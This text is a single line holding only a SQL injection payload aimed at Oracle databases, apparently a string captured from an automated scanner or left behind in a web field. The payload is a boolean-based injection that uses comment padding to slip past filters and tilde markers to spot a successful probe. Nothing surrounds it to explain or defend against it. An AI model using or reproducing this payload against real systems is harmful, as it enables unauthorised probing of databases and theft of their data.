1’AND/**/8492=(SELECT/**/UPPER(CHR(126)||’~’||(SELECT/**/(CASE/**/WHEN/**/(8492=8492)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||’~’||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(5109,7472)=9898)– – 1